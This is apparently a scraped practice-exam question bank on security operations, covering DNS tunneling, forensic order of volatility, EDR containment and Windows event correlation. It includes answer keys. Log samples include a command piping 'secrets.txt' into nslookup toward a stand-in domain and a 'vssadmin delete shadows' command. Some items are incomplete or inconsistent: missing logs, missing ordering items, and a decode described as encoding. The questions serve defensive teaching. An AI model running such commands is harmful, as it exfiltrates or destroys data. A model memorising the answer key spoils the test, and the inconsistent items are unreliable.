Security Operations

627 questions

All types627 Multiple choice320 Multiple select139 Matching36 Ordering132

A SOC analyst is reviewing correlated telemetry in a SIEM console following an automated high-severity alert:

Host Firewall Logs:
2026-07-27T10:13:58Z ALLOW UDP 172.16.42.50:53124 -> 8.8.8.8:53 (Bypassing internal DNS resolver 172.16.0.2)

Based on the log telemetry, which of the following security events is occurring, and which containment action should be implemented first?

DNS tunneling for data exfiltration; block direct outbound UDP/53 traffic from internal endpoints and enforce routing through designated internal recursive DNS resolvers.

Distributed Denial of Service (DDoS) reflection attack; configure SIEM threshold rules to drop incoming ICMP echo responses.

Cross-Site Scripting (XSS) payload delivery; apply web application firewall (WAF) input validation rules to encode TXT parameters.

Unauthorized privilege escalation via RADIUS; revoke user authorization tokens on the enterprise authentication server.

Show answer & explanation

Answer: DNS tunneling for data exfiltration; block direct outbound UDP/53 traffic from internal endpoints and enforce routing through designated internal recursive DNS resolvers.

Answer

DNS tunneling for data exfiltration; block direct outbound UDP/53 traffic from internal endpoints and enforce routing through designated internal recursive DNS resolvers.

The combination of high-frequency DNS TXT queries carrying encoded subdomains, combined with endpoint firewall logs demonstrating direct outbound connection to an external DNS server (bypassing internal DNS infrastructure), is a classic signature of DNS tunneling used for data exfiltration. Mitigating this risk requires blocking direct external DNS access from end-user devices so that all queries pass through monitored internal resolvers.

Step-by-Step Solution

Analyze the log telemetry structure and query attributes

The log shows sequential, high-frequency TXT queries to unique, long, random subdomains (e.g., a3f9b1c2e4d.data.example-cdn.net) with large payload lengths (~240 bytes).

Covert channels like DNS tunneling encode exfiltrated data into subdomain strings of DNS queries.

Examine host firewall routing anomalies

Endpoint 172.16.42.50 is querying public DNS (8.8.8.8) directly, bypassing the designated internal DNS server (172.16.0.2).

Attackers bypass internal DNS monitoring and logging controls by attempting direct egress over port 53.

Identify the primary containment control

Block direct outbound UDP/TCP port 53 traffic at perimeter firewalls for non-DNS servers and require all internal clients to use approved internal DNS resolvers.

Enforcing internal recursive DNS usage enables central logging, filtering, and blocking of malicious domain requests.

Key Concept

DNS Tunneling and Exfiltration Telemetry Correlation

Question 182Question →

An incident response team is conducting a digital forensics investigation on a compromised virtual database server hosting sensitive records. To ensure evidence admissibility in legal proceedings and maintain proper forensic procedure, the responders must handle volatile data and chain of custody documentation correctly. Which of the following procedures should the incident responders execute to meet these requirements? (Select TWO.)

Select all that apply

Capture volatile system memory (RAM) and active state prior to disconnecting storage volumes or powering down the machine

Reboot the target virtual server into a read-only live OS environment before acquiring memory dumps to prevent third-party software contamination

Calculate and record cryptographic hashes (such as SHA-256) of forensic image files immediately following acquisition

Substitute cryptographic hash logs for signed chain-of-custody transfer records to establish non-repudiation of investigator actions

Show answer & explanation

Answer: Capture volatile system memory (RAM) and active state prior to disconnecting storage volumes or powering down the machine; Calculate and record cryptographic hashes (such as SHA-256) of forensic image files immediately following acquisition

Answer

Capturing volatile system memory (RAM) prior to disconnecting storage or shutting down, and calculating cryptographic hashes (such as SHA-256) immediately following image acquisition.

Capturing volatile memory before powering down complies with the order of volatility, ensuring ephemeral data such as active memory and network connections are captured. Computing cryptographic hashes immediately following acquisition establishes proof of data integrity for judicial admissibility.

Step-by-Step Solution

Analyze the evidence collection sequence based on the Order of Volatility

Identify that volatile memory (RAM) sits higher on the order of volatility than disk storage and must be preserved before taking actions that alter system power state.

Shutting down or rebooting a host permanently erases contents stored in system RAM.

Evaluate evidence integrity and chain of custody requirements

Determine that hashing digital images immediately after creation provides proof of integrity for court proceedings.

Matching original acquisition hashes against verification hashes proves evidence was un-tampered throughout custody.

Key Concept

Order of Volatility and Digital Evidence Integrity

Estimated Time:2m 0s

Question 183Question →

A security team is defining an automated containment and investigation workflow for suspicious host behavior flagged by an Endpoint Detection and Response (EDR) agent. Order the steps in the correct chronological sequence from initial detection through remediation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence of the EDR incident response workflow is: (1) EDR sensor detects anomalous process behavior, (2) Automated playbook executes host isolation, (3) SOC analyst examines telemetry logs and process tree, (4) Forensic artifacts and memory dumps are collected, and (5) Newly identified IoCs are deployed to security controls.

The workflow follows standard incident response phases tailored to EDR functionality: Detection (EDR agent alerts on process anomaly) -> Containment (automated network isolation) -> Analysis (SOC analyst investigates process lineage) -> Investigation/Forensics (memory dump and artifact extraction) -> Remediation/Post-Incident (distributing IoCs enterprise-wide).

Step-by-Step Solution

Identify the event triggering the incident response sequence.

The EDR sensor identifies suspicious activity on the local endpoint.

Detection is the prerequisite step that triggers automated playbooks and alerts.

Contain the threat automatically using EDR capabilities.

Network interface of the affected host is isolated from the rest of the enterprise network.

Immediate containment limits blast radius and prevents lateral movement while preserving management access for EDR control.

Perform preliminary investigation of endpoint telemetry.

Analyst inspects process lineage, command-line arguments, and parent-child relationships.

Investigating telemetry confirms whether the alert is a true positive and pinpoints attacker tactics.

Collect deep forensic evidence.

Volatile memory and system triage packages are acquired from the isolated endpoint.

Detailed forensic collection supplies evidence for root-cause analysis and malware analysis.

Remediate and update organizational security posture.

Extracted IoCs are added to SIEM, firewalls, and EDR detection rules.

Feedback into security infrastructure prevents duplicate compromise across other enterprise endpoints.

Key Concept

Endpoint Detection and Response (EDR) Automated Containment and Incident Investigation Workflow

Question 184Question →

A Security Operations Center (SOC) analyst is investigating suspicious network activity on an internal Linux host (192.168.1.45) by correlating local audit logs with internal DNS resolver logs:

[DNS Resolver Logs]
2026-07-27T14:02:11.104Z client 192.168.1.45 query: a3V4b25lbGluZQ.c2VjdXJpdHl0ZXN0.example.com IN TXT
2026-07-27T14:02:11.312Z client 192.168.1.45 query: dGhlcXVpY2ticm93bmZveA.c2VjdXJpdHl0ZXN0.example.com IN TXT

[Linux Audit Log (/var/log/audit/audit.log)]
type=SYSCALL msg=audit(1785160920.412:982): arch=c000003e syscall=59 success=yes exe="/usr/bin/bash"
type=EXECVE msg=audit(1785160920.412:982): argc=3 a0="/usr/bin/bash" a1="-c" a2="base64 -d secrets.txt | nslookup -type=TXT - example.com"

Based on the log telemetry provided, which of the following statements accurately characterize the security incident occurring on the endpoint? (Select TWO.)

Select all that apply

Sensitive host data is being covertly exfiltrated using DNS tunneling with encoded subdomain payloads.

Command execution telemetry confirms local utility binaries were executed to encode and stream file contents outbound.

The log entries document a SQL injection attempt aimed at extracting database records through web server application parameters.

The audit log entries reflect an access control failure where identity authentication succeeded but resource authorization was revoked.

Show answer & explanation

Answer: Sensitive host data is being covertly exfiltrated using DNS tunneling with encoded subdomain payloads.; Command execution telemetry confirms local utility binaries were executed to encode and stream file contents outbound.

Answer

The incident involves data exfiltration via DNS tunneling using encoded subdomain queries, supported by process execution telemetry showing file encoding piped directly into DNS lookup commands.

The correct options accurately identify DNS tunneling and process execution indicators. The DNS logs feature subdomains composed of Base64 strings queried for TXT records, which is a classic indicator of DNS data exfiltration. Simultaneously, the system audit logs explicitly document a bash command reading and encoding local file contents before piping them into `nslookup`.

Step-by-Step Solution

Analyze the Linux process audit log entry.

The EXECVE audit record shows an interactive bash process running `base64 -d secrets.txt | nslookup -type=TXT - example.com`.

This establishes that local system data was encoded and passed to a network utility.

Analyze the internal DNS resolver query log entries.

High-entropy Base64 string labels (e.g., `a3V4b25lbGluZQ...`) are appended as subdomains in DNS TXT requests originating from host 192.168.1.45.

This confirms covert protocol tunneling where payload data is disguised as domain name queries.

Correlate host telemetry with network telemetry to draw conclusions.

The execution log directly explains the source of the high-entropy DNS TXT queries, verifying host compromise and active DNS exfiltration.

Combining command-line monitoring with network event correlation provides end-to-end confirmation of the threat behavior.

Key Concept

DNS Tunneling and Process Audit Log Correlation

Question 185Question →

During a complex security incident investigation involving an enterprise storage array hosting virtualized database servers, a forensic investigator must extract and preserve digital evidence for upcoming judicial proceedings. The storage array utilizes volatile write caches mirrored asynchronously across active controller nodes. To preserve evidence integrity and establish an unassailable chain of custody during acquisition, which of the following procedures should the investigator perform first?

Capture the live volatile memory from the active host and controller write caches, compute cryptographic SHA-256 hashes immediately upon acquisition, and log the hashes, timestamps, and hardware serial numbers on the chain of custody form.

Immediately disconnect physical power to all storage array nodes to halt active caching, extract the NVMe drives, and connect them directly to an investigation system without a write-blocker to compute baseline hashes.

Export virtual machine disk files over the network to an administrative repository, applying a public key infrastructure digital signature to verify the non-repudiation of the cloud administrator's user account.

Run an automated file system defragmentation and metadata consolidation pass on the host volume prior to creating a bit-stream image using native host operating system utilities.

Show answer & explanation

Answer: Capture the live volatile memory from the active host and controller write caches, compute cryptographic SHA-256 hashes immediately upon acquisition, and log the hashes, timestamps, and hardware serial numbers on the chain of custody form.

Answer

The investigator must first capture the live volatile memory from active host and controller write caches, compute cryptographic SHA-256 hashes immediately upon acquisition, and record the hashes, timestamps, and hardware serial numbers on the chain of custody log.

Digital forensics requires capturing evidence in strict compliance with the order of volatility: volatile system RAM and controller write caches must be preserved before persistent storage acquisition or host shutdown. Calculating cryptographic SHA-256 hashes immediately upon collection and documenting timestamps, serial numbers, and examiner details on a chain of custody log guarantees evidence integrity and court admissibility.

Step-by-Step Solution

Prioritize evidence collection according to the Order of Volatility.

Live volatile host memory (RAM) and asynchronous controller write caches are identified as the most perishable evidence sources.

Terminating power or taking disks offline destroys unwritten volatile cache and RAM contents permanently.

Capture volatile data and calculate immediate baseline cryptographic hashes.

A forensic memory acquisition is completed and SHA-256 hashes are calculated immediately.

Calculating a cryptographic hash at the exact time of acquisition provides mathematical proof that evidence has not been altered.

Execute formal chain of custody logging.

Item descriptions, hardware serial numbers, collection timestamps, hash values, and custodial details are documented.

Maintaining an unbroken chain of custody log establishes legal traceability and admissibility in court.

Key Concept

Order of Volatility & Chain of Custody Evidence Logging

Question 186Question →

An incident response analyst seizes a powered-on smartphone that is suspected of being used in an active data exfiltration incident. To prevent remote wipe commands or external data modification over cellular or Wi-Fi networks while transporting the physical evidence to the forensics laboratory, which of the following is the most appropriate action to take?

Enclose the mobile device inside a shielded Faraday bag to isolate it from external wireless signals.

Unlock the device screen and manually enable Airplane Mode before transport.

Initiate an immediate remote cloud backup using suspect credentials prior to power-off.

Re-encrypt the internal flash controller with a temporary public key to ensure non-repudiation during transport.

Show answer & explanation

Answer: Enclose the mobile device inside a shielded Faraday bag to isolate it from external wireless signals.

Answer

Enclose the mobile device inside a shielded Faraday bag to isolate it from external wireless signals.

Enclosing the mobile device in a Faraday bag creates a Faraday cage that blocks all incoming and outgoing radio frequency (RF) signals, such as cellular, Wi-Fi, and Bluetooth. This prevents attackers from issuing remote wipe commands or altering data over the network while the investigator transports the device for evidence collection.

Step-by-Step Solution

Identify the threat vector facing mobile device evidence during transit.

Powered-on mobile devices remain connected to cellular, Wi-Fi, or Bluetooth networks and are vulnerable to remote wipe commands or automated data syncs.

Over-the-air signals can modify or destroy evidentiary data before forensic acquisition.

Evaluate evidence preservation controls against forensic standards.

Using a Faraday enclosure blocks all electromagnetic radio frequency signals without altering the device's volatile RAM state or system logs.

Radio frequency isolation guarantees physical evidence preservation without user interface interaction.

Key Concept

Radio Frequency (RF) Signal Isolation in Digital Forensics

Question 187Question →

A Security Operations Center (SOC) analyst confirms an active security incident involving a critical Linux database server hosting sensitive customer records. An external attacker has established an interactive reverse shell via a web application vulnerability, and an automated script on the system is actively staging database tables into an encrypted archive for exfiltration. The incident response playbook requires halting exfiltration immediately while preserving volatile system memory for subsequent forensic analysis. Which of the following actions should the analyst take FIRST?

Disconnect the database server from the network segment at the switch or firewall level while leaving the system powered on.

Execute a system shutdown command or pull the physical power plug to immediately stop the data exfiltration process.

Restore the database server operating system and application files from a clean backup.

Update the Web Application Firewall (WAF) rule base to block incoming HTTP payload requests targeting the web application.

Show answer & explanation

Answer: Disconnect the database server from the network segment at the switch or firewall level while leaving the system powered on.

Answer

Network isolation at the switch or firewall level while maintaining host power is the primary first action.

Disconnecting the database server from the network segment (short-term containment) immediately stops outbound exfiltration and C2 communications while keeping the system powered on so that volatile memory (RAM), running processes, and open network sockets remain intact for forensic capture.

Step-by-Step Solution

Analyze the active threat and requirements

Identified an active reverse shell staging data for exfiltration with a requirement to stop exfiltration and preserve volatile memory (RAM).

The NIST/ISO incident response lifecycle mandates containment before eradication and recovery.

Evaluate containment strategies against volatile evidence preservation

Network isolation stops outbound communication and exfiltration without losing RAM contents.

Shutting down the host causes catastrophic loss of volatile memory, while network isolation isolates network traffic without powering down.

Distinguish between preventive ingress controls and active incident containment

WAF rule updates prevent future exploitation but do not terminate active established C2/exfiltration streams.

Active containment must take precedence over ingress hardening during active compromise execution.

Key Concept

Incident Response Containment Phase and Volatile Evidence Preservation

Question 188Question →

During an investigation into a ransomware propagation attempt on a critical enterprise server, a security analyst reviews telemetry captured by an Endpoint Detection and Response (EDR) agent. The EDR telemetry log reveals that an authenticated enterprise database daemon spawned a command-line interpreter, which subsequently executed `vssadmin.exe delete shadows /all /quiet`. The EDR agent's automated response policy immediately terminated the command interpreter and its child sub-processes and placed the endpoint into network isolation, but deliberately allowed the primary database daemon process to continue executing. Which of the following best explains the architectural rationale behind the EDR agent targeting only the child process tree during remediation?

The EDR agent relies on process lineage and parent-child telemetry correlation to surgically terminate malicious execution contexts while maintaining essential host service uptime.

The EDR agent lacked operating system kernel-level privileges to terminate processes running under service account contexts.

Enforcing host network isolation automatically restores modified storage snapshots, eliminating the need to kill the parent process.

Perimeter firewalls intercepted the volume shadow copy deletion request before the command reached the local operating system kernel.

Show answer & explanation

Answer: The EDR agent relies on process lineage and parent-child telemetry correlation to surgically terminate malicious execution contexts while maintaining essential host service uptime.

Answer

The EDR agent relies on process lineage and parent-child telemetry correlation to surgically terminate malicious execution contexts while maintaining essential host service uptime.

The correct answer emphasizes how EDR agents continuously record process creation lineage, maintaining parent-child process relationships. By correlating telemetry across process trees, the EDR agent's behavioral engine can surgically kill malicious child processes (such as a command shell attempting shadow copy deletion) while keeping critical parent enterprise applications running to prevent unnecessary downtime.

Step-by-Step Solution

Analyze the EDR telemetry context and process hierarchy described in the scenario.

The parent process (database daemon) is a legitimate enterprise service, while the child process (command interpreter invoking vssadmin.exe) represents malicious activity.

Identifying process tree relationships is critical to understanding how EDR sensors differentiate between normal application behavior and spawned malicious commands.

Evaluate EDR remediation capabilities and automated playbook logic.

EDR sensors track parent-child process IDs (PPID/PID) to kill specific process sub-trees selectively.

Surgical termination prevents full endpoint service disruption while still neutralizing malicious execution threads.

Differentiate EDR host-based capabilities from wrong control assumptions (privilege limits, network isolation scope, boundary controls).

EDR sensors operate with elevated privileges and perform host-level process termination independent of network boundary firewalls or data recovery routines.

Kernel-level endpoint monitoring guarantees process control, making targeted termination a deliberate design choice for system availability.

Key Concept

EDR Process Lineage Analysis and Targeted Remediation

Question 189Question →

A security analyst is documenting the collection, movement, and storage of a physical storage drive seized during an incident response investigation. Which of the following best describes the primary purpose of maintaining a formal chain of custody log throughout this process?

To establish a chronological record of evidence handling that proves the item was preserved and remains legally admissible in court.

To capture system RAM and volatile data structures in sequence before powering down the target host.

To ensure data confidentiality across network segments by encrypting the evidence disk image during transfer.

To automatically isolate infected host systems from the corporate network upon alert generation.

Show answer & explanation

Answer: To establish a chronological record of evidence handling that proves the item was preserved and remains legally admissible in court.

Answer

The primary purpose of maintaining a chain of custody log is to establish a detailed chronological record of evidence handling, ensuring that the evidence is preserved without tampering and remains legally admissible.

Maintaining a chain of custody log creates a continuous, auditable record showing who collected, transferred, analyzed, and safeguarded evidence. This documentation guarantees that evidence has not been altered or compromised, proving its authenticity and admissibility in legal proceedings.

Step-by-Step Solution

Identify the core forensic requirement described in the scenario.

The scenario highlights documenting the collection, movement, and storage of physical evidence.

Maintaining evidence integrity requires tracking every individual who handles the evidence from acquisition to court presentation.

Differentiate between physical evidence logging and technical evidence acquisition procedures.

Technical procedures capture data (e.g., order of volatility), while chain of custody provides the legal proof of custody and integrity.

Without a documented chain of custody, evidence can be challenged in court as tampered or unauthenticated.

Key Concept

Chain of Custody

Estimated Time:45s

Question 190Question →

An analyst is defining an automated incident response playbook within an Endpoint Detection and Response (EDR) system to handle high-severity malware execution alerts on enterprise workstations. Place the following steps of the automated containment, analysis, and recovery workflow in the correct chronological order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence for the EDR response workflow begins with isolating the endpoint from the network, followed by terminating the malicious processes, gathering volatile memory telemetry for forensic analysis, and finally lifting network isolation after remediation.

The correct response order follows standard incident handling best practices in EDR environments: immediate network containment to prevent lateral movement, termination of malicious processes to stop active damage, acquisition of telemetry and forensics to analyze attack vectors, and host network restoration after remediation is confirmed.

Step-by-Step Solution

Perform immediate host isolation via EDR capabilities.

The endpoint is blocked from communicating with local network resources and external command-and-control servers while retaining EDR management connectivity.

Containment is the primary initial operational priority to restrict the attack blast radius without disrupting SOC control.

Terminate active threat processes.

Malicious process trees and memory-injected code execution are halted on the local host.

Stopping active malicious code prevents ongoing unauthorized actions, such as ransomware encryption or local credential harvesting.

Gather forensic telemetry and volatile memory artifacts.

Detailed process lineages, network sockets, and memory dumps are collected for SOC investigation.

Investigating telemetry determines the attack vector and identifies persistence mechanisms established prior to host isolation.

Lift host isolation and restore connectivity.

The host resumes standard enterprise network communications.

Network access should only be restored after confirming the host is completely remediated and secure.

Key Concept

EDR Automated Containment and Remediation Workflow

Question 191Question →

Place the following steps of an Endpoint Detection and Response (EDR) automated containment and incident investigation workflow in the correct sequential order from initial event detection to host restoration.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order follows the standard incident containment lifecycle: telemetry detection of suspicious activity, automated network isolation, analyst investigation of process lineage telemetry, and final threat remediation followed by network restoration.

The workflow begins with continuous behavioral detection by the EDR agent. Once an alert triggers, automated playbooks isolate the endpoint from the network to block lateral spread while keeping memory intact. Next, a SOC analyst reviews the rich process lineage and telemetry gathered by the sensor to determine root cause. Finally, remediation scripts eradicate the threat and host network connectivity is safely restored.

Step-by-Step Solution

Identify initial threat detection

The local EDR sensor flags anomalous behavior via host telemetry monitoring.

Detection must occur before any containment or investigation actions can be initiated.

Execute immediate automated containment

Network isolation is automatically applied to the affected endpoint.

Isolating the endpoint stops lateral movement across the enterprise network while preserving host volatility.

Conduct analyst telemetry investigation

The analyst examines process trees and parent-child execution paths in the central EDR console.

Investigation must take place on the isolated endpoint's collected data to understand the attack scope.

Perform threat remediation and host restoration

Malicious items are cleaned and full network connectivity is reinstated.

Remediation and reconnecting the system to normal operations is the final step in resolving an endpoint incident.

Key Concept

EDR Incident Containment and Response Lifecycle

Estimated Time:1m 0s

Question 192Question →

A security administrator notices that a host security tool generated an alert for an obfuscated script running directly out of system memory using a built-in operating system utility, despite no known file hashes being flagged. Which of the following capabilities best explains why an Endpoint Detection and Response (EDR) agent can identify this suspicious activity?

Continuous host process monitoring and behavioral telemetry analysis

Static signature comparisons against cloud database file hashes

In-line edge firewall filtering of incoming network packet payloads

Network-based intrusion prevention system rules matching known exploit signatures

Show answer & explanation

Answer: Continuous host process monitoring and behavioral telemetry analysis

Answer

Continuous host process monitoring and behavioral telemetry analysis allows EDR solutions to detect suspicious, fileless, or memory-based actions even when traditional static signature matching yields no results.

Endpoint Detection and Response (EDR) solutions monitor endpoint activities in real time, gathering telemetry on process execution, system calls, and memory usage. This allows them to spot behavioral anomalies—such as an administrative tool executing obfuscated scripts—regardless of whether a file signature exists.

Step-by-Step Solution

Analyze the scenario conditions

The attack involves an obfuscated script executed in memory via built-in system tools with no matching file signatures.

Identifying that no malicious file exists on disk rules out static signature-based detection mechanisms.

Evaluate EDR core capabilities

EDR agents continuously collect detailed process interaction, registry, and memory telemetry from the endpoint.

Behavioral analytics inspect runtime actions rather than static file attributes.

Select the matching security capability

Continuous host process monitoring and behavioral telemetry analysis is the primary mechanism for detecting living-off-the-land and fileless attacks.

This capability addresses host-level runtime anomalies.

Key Concept

Endpoint Detection and Response (EDR) behavioral monitoring

Estimated Time:45s

Question 193Question →

Security operations analysts respond to an active incident involving a compromised Linux database server running on an enterprise hypervisor. Network telemetry reveals memory-injected malware executing encrypted outbound command-and-control communication. The evidence gathered must be admissible in court for potential legal prosecution. Which of the following actions MUST the forensics team take to adhere strictly to the order of volatility and maintain chain of custody integrity? (Select TWO.)

Select all that apply

Capture the system RAM and volatile state artifacts over a dedicated isolated interface before initiating any system power state change or virtual machine shutdown.

Calculate independent cryptographic hashes of the forensic images immediately post-acquisition and document every transfer and access event on a formal custodial tracking form.

Perform a hypervisor-level virtual machine snapshot and immediately force-power-down the guest instance to prevent memory corruption before running memory dump utilities.

Generate a SHA-256 checksum of the forensic acquisition log to provide non-repudiation of the investigating analyst's individual identity during evidence seizure.

Show answer & explanation

Answer: Capture the system RAM and volatile state artifacts over a dedicated isolated interface before initiating any system power state change or virtual machine shutdown.; Calculate independent cryptographic hashes of the forensic images immediately post-acquisition and document every transfer and access event on a formal custodial tracking form.

Answer

The incident response team must acquire system RAM before any power state changes to honor the order of volatility, and must generate immediate post-acquisition cryptographic hashes coupled with formal chain of custody logging to ensure legal integrity and admissibility.

Capturing live system RAM prior to system shutdown preserves the most volatile evidence, adhering to the order of volatility. Simultaneously, establishing post-acquisition cryptographic hashes and maintaining explicit custodial logs guarantees evidence integrity and legal chain of custody.

Step-by-Step Solution

Prioritize evidence collection based on volatility.

System RAM contains transient, highly volatile data (such as memory-injected C2 malware) that will be permanently lost if the machine is powered down or restarted.

Adhering to the Order of Volatility dictates collecting memory artifacts before non-volatile disk storage.

Establish evidence integrity and unbroken custodial tracking.

Immediate hashing verifies data has not changed since capture, and custodial logs track exact physical/logical ownership.

Legal admissibility in court requires proving that evidence integrity was preserved from seizure through trial.

Key Concept

Forensic Order of Volatility and Chain of Custody Verification

Question 194Question →

A security analyst monitoring enterprise systems confirms an active unauthorized access alert on an internal workstation. The compromised workstation is currently transmitting unauthorized network traffic to an external IP address. According to standard incident response lifecycle frameworks, which action should the analyst take immediately after confirming this detection?

Isolate the compromised workstation from the network to prevent further lateral movement and data exfiltration.

Re-image the operating system and restore files from clean backups.

Convene a post-incident review meeting with management to document lessons learned.

Update the organization's incident response policy and firewall baseline configurations.

Show answer & explanation

Answer: Isolate the compromised workstation from the network to prevent further lateral movement and data exfiltration.

Answer

Isolate the compromised workstation from the network to prevent further lateral movement and data exfiltration.

According to established incident response standards (such as NIST SP 800-61), the phase immediately following Detection & Analysis is Containment. Isolating the workstation from the network stops active malicious external communication, preventing further exfiltration and lateral movement while preserving evidence.

Step-by-Step Solution

Identify current incident response phase

The incident has been identified and confirmed, placing the team at the end of Detection & Analysis.

Standard frameworks (NIST SP 800-61) mandate that after confirming an active threat during Detection & Analysis, containment must immediately follow.

Select immediate containment action

Network isolation of the impacted workstation restricts unauthorized outbound communication.

Containment limits the scope and impact of an active incident before proceeding to eradication or recovery.

Key Concept

Incident Response Lifecycle Phase Ordering (Containment)

Question 195Question →

During an incident response investigation into an internal identity compromise involving Kerberos ticket forgery (Pass-the-Ticket) across domain-joined assets, an analyst must act quickly. Which of the following actions represent appropriate containment measures to execute prior to moving into the eradication phase? (Select TWO.)

Select all that apply

Isolate impacted host workstations from the network via endpoint controls while maintaining system power.

Reset compromised domain account passwords and purge active Kerberos ticket sessions across targeted services.

Re-image all primary Active Directory Domain Controllers immediately to ensure malware binaries are removed.

Modify perimeter firewall ACLs to block all incoming HTTP and HTTPS web traffic.

Show answer & explanation

Answer: Isolate impacted host workstations from the network via endpoint controls while maintaining system power.; Reset compromised domain account passwords and purge active Kerberos ticket sessions across targeted services.

Answer

Isolating impacted workstations from the network while maintaining system power, and resetting compromised domain account passwords while purging active Kerberos ticket sessions.

Effective containment during a Kerberos ticket attack requires halting lateral movement and revoking unauthorized access while maintaining forensic evidence integrity. Isolating compromised host endpoints prevents traffic propagation without clearing volatile RAM needed for memory forensics. Additionally, resetting compromised account passwords and invalidating forged session tickets revokes the attacker's ability to authenticate to other domain services.

Step-by-Step Solution

Identify the primary objective during the containment phase of an identity-based attack.

The goal is to stop lateral propagation and unauthorized access without destroying volatile evidence.

Containment limits incident impact before proceeding to permanent removal of threat artifacts.

Evaluate host-level containment controls.

Network isolation of affected endpoints stops lateral spread, while leaving machines powered preserves volatile RAM containing Kerberos ticket caches.

Powering down hosts clears RAM, hindering digital forensics.

Evaluate identity and authentication containment controls.

Resetting password hashes and revoking active Kerberos tickets terminates active attacker sessions.

Identity controls stop stolen credentials from granting further access to network resources.

Key Concept

Incident Response Containment Strategies for Identity Compromise

Question 196Question →

A forensic analyst is responding to a live incident on a Linux server suspected of executing an active data exfiltration script via open network sockets. The server is powered on and running in memory. To strictly adhere to the Order of Volatility while maintaining cryptographic chain of custody integrity, which of the following actions should the analyst perform first?

Capture the contents of system RAM and active network connections using an established memory dump tool, immediately recording the SHA-256 hash in the evidence log.

Power down the server immediately to preserve running processes, then attach the storage drive to a hardware write-blocker for bit-stream imaging.

Perform a full bit-stream disk image of the primary storage drive before acquiring memory artifacts to prevent active malware from altering disk sectors.

Export active system logs to an external drive to establish non-repudiation of the attacker's actions, skipping memory capture to avoid modifying system state.

Show answer & explanation

Answer: Capture the contents of system RAM and active network connections using an established memory dump tool, immediately recording the SHA-256 hash in the evidence log.

Answer

Capture the contents of system RAM and active network connections using an established memory dump tool, immediately recording the SHA-256 hash in the evidence log.

Capturing system RAM and active network sockets first adheres strictly to the Order of Volatility, as volatile memory is erased upon system state changes or power loss. Calculating and recording a cryptographic SHA-256 hash immediately establishes data integrity and chain of custody accountability.

Step-by-Step Solution

Assess the system state to determine the volatility of evidence.

System RAM, CPU registers, and active network connections are identified as transient evidence at risk of immediate destruction.

The forensic Order of Volatility dictates capturing evidence from highest volatility to lowest volatility.

Preserve volatile memory and network session state.

A memory dump image capturing RAM and active socket data is successfully generated from the live system.

Capturing memory prior to taking persistent disk images or powering off the host ensures volatile data is preserved.

Compute and document evidence hash values.

A SHA-256 cryptographic hash of the memory image is generated and written into the chain of custody documentation.

Logging the hash immediately establishes proof of integrity and guarantees the evidence remains untampered throughout the legal handling process.

Key Concept

Order of Volatility and Evidence Hash Verification

Question 197Question →

A Security Operations Center (SOC) engineering team is designing an enterprise SIEM processing architecture to handle unstructured log streams from hybrid cloud applications, perimeter firewalls, and endpoint agents. In what order should the log processing pipeline execute these stages from initial log retrieval to automated response handling?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence of the SIEM log processing pipeline is: Log Ingestion, Parsing and Normalization, Contextual Enrichment, Cross-Source Correlation, and Alerting and Orchestration.

The standard SIEM data pipeline processes incoming events sequentially: first ingesting raw log data, parsing it into a normalized schema, enriching the normalized fields with context (such as threat intelligence and asset metadata), correlating the enriched events across sources using defined rules, and finally alerting analysts or triggering SOAR automation.

Step-by-Step Solution

Identify the initial collection phase

Log Ingestion (item 1) receives raw telemetry from agents, syslog streams, and APIs into the central SIEM receiver.

Data must be ingested into the pipeline before any transformation or inspection can occur.

Structure and format the raw log payload

Parsing and Normalization (item 2) converts unstructured strings into standardized key-value pairs using a common schema.

Downstream processing requires consistent attribute naming (e.g., src_ip, user_id) across different vendor log formats.

Augment normalized logs with external and environmental context

Contextual Enrichment (item 3) attaches threat intelligence feeds, asset values, and IP geolocation to normalized events.

Enrichment adds necessary risk scoring and IP reputation metadata to standardized fields prior to complex rule evaluation.

Analyze events across multiple log sources for threat patterns

Cross-Source Correlation (item 4) compares enriched, normalized events against temporal rules and behavioral logic.

Correlation requires clean, normalized, and enriched data across disparate sources within specific time windows to detect complex attacks.

Take action on correlated security events

Alerting and Orchestration (item 5) dispatches incident tickets and initiates automated playbooks.

Response actions and analyst alerts are executed only after correlation rules determine a high-fidelity security incident.

Key Concept

SIEM Log Processing Pipeline Sequence

Question 198Question →

A security analyst is investigating a sequence of correlated Windows Event logs displayed in a SIEM dashboard:

text
2026-07-27T10:14:02Z EventID=4625 TargetUser=svc_sql Workstation=FIN-PC01 SubStatus=0xC000006A
2026-07-27T10:14:03Z EventID=4625 TargetUser=svc_sql Workstation=FIN-PC02 SubStatus=0xC000006A
2026-07-27T10:14:05Z EventID=4624 TargetUser=svc_sql Workstation=DC-01 LogonType=3
2026-07-27T10:14:12Z EventID=7045 ServiceName="PSEXESVC" ImagePath="C:\Windows\PSEXESVC.exe"

Based on the log telemetry shown above, which security event is occurring on the network?

Lateral movement using compromised service account credentials followed by remote service creation

A Cross-Site Scripting (XSS) payload execution against an internal domain controller web application

An authorization policy failure where user access permissions were elevated without authentication

Local host privilege escalation resulting from an unpatched system service buffer overflow

Show answer & explanation

Answer: Lateral movement using compromised service account credentials followed by remote service creation

Answer

Lateral movement using compromised service account credentials followed by remote service creation

The log sequence documents multiple failed authentication attempts (Event ID 4625), followed by a successful network authentication (Event ID 4624, LogonType 3) on DC-01, and immediate creation of the PsExec service (Event ID 7045). This correlated telemetry pattern is characteristic of credential misuse and lateral movement across systems.

Step-by-Step Solution

Analyze Event ID 4625 log entries

Identify password spraying or failed authentication attempts across workstations for user 'svc_sql'.

Event ID 4625 signifies a failed logon attempt, and substatus 0xC000006A indicates a bad password.

Analyze Event ID 4624 log entry

Confirm successful network logon (LogonType 3) to the DC-01 server using the 'svc_sql' account.

Event ID 4624 indicates successful authentication, and LogonType 3 indicates network authentication (e.g., SMB/PsExec).

Correlate with Event ID 7045 log entry

Recognize remote execution tool staging (PSEXESVC.exe) as a new service creation.

Event ID 7045 records the installation of a new system service, which Sysinternals PsExec uses for remote command execution.

Key Concept

Windows Event Log correlation for lateral movement detection

Estimated Time:1m 30s

Question 199Question →

During operational monitoring, a Security Operations Center (SOC) analyst identifies unusual Windows Management Instrumentation (WMI) execution on a core Domain Controller, indicating potential credential harvesting. Following the standard NIST SP 800-61 Incident Response Framework, in which chronological sequence should the security team perform the following response procedures?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

